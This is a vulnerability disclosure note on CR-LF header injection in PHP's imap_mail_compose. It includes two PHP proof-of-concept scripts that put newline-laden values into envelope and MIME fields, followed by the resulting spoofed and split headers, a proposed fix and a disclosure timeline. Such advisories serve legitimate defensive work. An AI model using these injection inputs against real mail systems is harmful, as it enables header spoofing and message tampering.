Vulnerability Note
1 Summary
PHP is a popular general-purpose scripting language that is especially suited to web development. Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.
2 Details
2.1 Description
Multiple CR-LF injection points have been discovered in the PHP extension imap
. The library’s method imap_mail_compose
(and possibly others) fails to properly handle CR-LF
in header fields. php_imap.c
does not check for CR-LF
sequences at all but in some cases (namely injections to From
, To
, CC
and BCC
header fields) the underlying - and quite dated - libraries c-client
and its rfc822.c
MIME implementation returns text indicating that invalid input has been passed to the library (UNEXPECTED_DATA_AFTER_ADDRESS
). The fact that an injection may have occured is also silently discarded by the php wrapper php_imap.c
. The checks performed by c-client
are insufficient and the library is pretty much outdated, hence, the concerns about the general security of the imap
extension.
The imap
extension is typically not enabled by default (pending distros decision), however, it is still part of the php-src
codebase. We stopped looking for more issue with this library, however, given the fact that
CR-LF
injection is possible as shown with this vunotec-client
and its components are very dated, the code-quality is not reflecting best practices and it is highly likely that the library contains worse issues than injection vectors- the extension is not enabled by default
- there are discussions about phasing out
c-client
(https://bugs.php.net/bug.php?id=78572) - the types of issues recorded in the tracker underline the security concerns of the 3rd party library (https://bugs.php.net/search.php?cmd=display&package_name[]=IMAP+related&order_by=ts1&direction=ASC&limit=30&status=Open&reorder_by=ts1)
it is recommended to warn users of using this extension due to potential security concerns, phase-out the imap
extension and deprecate it as soon as possible (https://www.php.net/manual/en/extensions.state.php).
This vulnerability may allow a malicious actor to inject CR-LF
control sequences into the MIME-Message that is constructed when imap_mail_compose
is called, taking control over MIME headers, adding new headers, overriding existing, or perform MIME header splitting in an attempt to censor following headers or leaking them with the MIME Message Body.
2.2 Proof of Concept
PoC #1 - MIME Splitting Attack, Header injection, MultiPart Header Injection
- Note how MIME headers are injected
X-INJECTED
. - Note how
From, Subject
is split from the rest. see pythonMIMEText
parser output below. - Note how the multipart-mime now has multiple
Content-Type: X-INJECTED
overriding the original.
<?php
$envelope["from"]= "[email protected]\n From : X-INJECTED";
$envelope["to"] = "[email protected]\nFrom: X-INJECTED";
$envelope["cc"] = "[email protected]\nFrom: X-INJECTED";
$envelope["subject"] = "[email protected]\n\n From : X-INJECTED";
$envelope["x-remail"] = "[email protected]\nFrom: X-INJECTED";
$envelope["something"] = "[email protected]\nFrom: X-INJECTED";
$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";
$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream\nContent-Type: X-INJECTED";
$part2["description"] = "some file\nContent-Type: X-INJECTED";
$part2["contents.data"] = "ABC\nContent-Type: X-INJECTED";
$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";
$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;
echo imap_mail_compose($envelope, $body);
?>
- Output:
From: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
Subject: [email protected]
From : X-INJECTED
To: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
cc: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
MIME-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY="371156484-1425523733-1593788218=:11383"
--371156484-1425523733-1593788218=:11383
Content-Type: APPLICATION/octet-stream
Content-Type: X-INJECTED
Content-Transfer-Encoding: BASE64
Content-Description: some file
Content-Type: X-INJECTED
QUJDCkNvbnRlbnQtVHlwZTogWC1JTkpFQ1RFRA==
--371156484-1425523733-1593788218=:11383
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Description: description3
contents.data3
--371156484-1425523733-1593788218=:11383--
- Output from python parsing the MIME message generated by php.
- Note that headers are split into the body
from email.mime.text import MIMEText
msg = MIMEText(mimetext_from_php)
print(repr(msg.get_payload())) # only print payload to demonstrate mime splitting
'From: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."\nSubject: [email protected]\n\n From : X-INJECTED\nTo: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."\ncc: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."\nMIME-Version: 1.0\nContent-Type: MULTIPART/mixed; BOUNDARY="371156484-1425523733-1593788218=:11383"\n\n--371156484-1425523733-1593788218=:11383\nContent-Type: APPLICATION/octet-stream\nContent-Type: X-INJECTED\nContent-Transfer-Encoding: BASE64\nContent-Description: some file\nContent-Type: X-INJECTED\n\nQUJDCkNvbnRlbnQtVHlwZTogWC1JTkpFQ1RFRA==\n\n--371156484-1425523733-1593788218=:11383\nContent-Type: TEXT/plain; CHARSET=US-ASCII\nContent-Description: description3\n\ncontents.data3\n\n\n\t\n--371156484-1425523733-1593788218=:11383--\n'
PoC #2 - Remail
- Note that we were able to inject the 1st header which basically allows us to perform a splitting attack and set arbitrary header fields - we are basically in full control of all headers.
X-INJECTED-REMAIL: X-INJECTED\nFrom: X-INJECTED-REMAIL-FROM
<?php
$envelope["from"]= "[email protected]\n From : X-INJECTED";
$envelope["to"] = "[email protected]\nFrom: X-INJECTED";
$envelope["cc"] = "[email protected]\nFrom: X-INJECTED";
$envelope["subject"] = "[email protected]\n\n From : X-INJECTED";
$envelope["remail"] = "X-INJECTED-REMAIL: X-INJECTED\nFrom: X-INJECTED-REMAIL-FROM"; //<--- Injected as first hdr
$envelope["something"] = "[email protected]\nFrom: X-INJECTED";
$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";
$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream\nContent-Type: X-INJECTED";
$part2["description"] = "some file\nContent-Type: X-INJECTED";
$part2["contents.data"] = "ABC\nContent-Type: X-INJECTED";
$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";
$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;
echo imap_mail_compose($envelope, $body);
?>
- Output:
X-INJECTED-REMAIL: X-INJECTED
From: X-INJECTED-REMAIL-FROMReSent-From: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
ReSent-Subject: [email protected]
From : X-INJECTED
ReSent-To: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
ReSent-cc: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
--371156484-1425523733-1593789098=:2410
Content-Type: APPLICATION/octet-stream
Content-Type: X-INJECTED
Content-Transfer-Encoding: BASE64
Content-Description: some file
Content-Type: X-INJECTED
QUJDCkNvbnRlbnQtVHlwZTogWC1JTkpFQ1RFRA==
--371156484-1425523733-1593789098=:2410
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Description: description3
contents.data3
--371156484-1425523733-1593789098=:2410--
2.3 Proposed Fix
- Long term: remove the
imap
extension, discourage users from using it. - Short term: input validation, reject header names/values that contain context sensitive control chars (
CR-LF
). Note that this is not going to address the general security concerns and quality of the underlyingc-client
.
3 Vendor Response
The status of this issue seems to be.... untracked. :(
The best thing you can do is open a report at https://bugs.php.net/report.php setting "Bug Type" to "Security" (this will make it hidden to non project members, but you as the reporter will still be able to view it).
As for what you've reported so far, I think the largest issue preventing work on it is a reproduce case. Ideally a short (handful of lines) demonstration of the vulnerability. We can start hunting around for the issue based on what you've said, but everything will move much smoother if there's a smoking gun which can be pointed to.
See also: https://bugs.php.net/how-to-report.php
Thanks in advance,
-Sara
Fix:
[2021-02-08 12:16 UTC] [email protected]
While I generally agree that it is bad that the imap extension
still relies on libc-client, these header injections are clearly
an issue with the PHP binding (namely imap_mail_compose()). For
the cases where we use rfc822_parse_adrlist(), this already can be
seen from the parse errors which are even more clearly revealed by
calling imap_errors(). For other headers, there is nothing to be
found in the documentation of the rfc822_*() functions which hints
at some header injection prevention. So this looks like API
misuse.
Full patch against PHP-7.4 (see next paragraph):
<https://gist.github.com/cmb69/bca3e03582e5ce79c594b0ce57b06b92>
3.1 Timeline
JUL/02/2020 - contact [email protected]; provided details, PoC, proposed remediation.
Jul/08/2020 - vendor finally confirmed that they received my email. that's it.
SEP/10/2020 - vendor response: file security issue in https://bugs.php.net/report.php --> https://bugs.php.net/bug.php?id=80710
APR/27/2021 - vendor response: fixed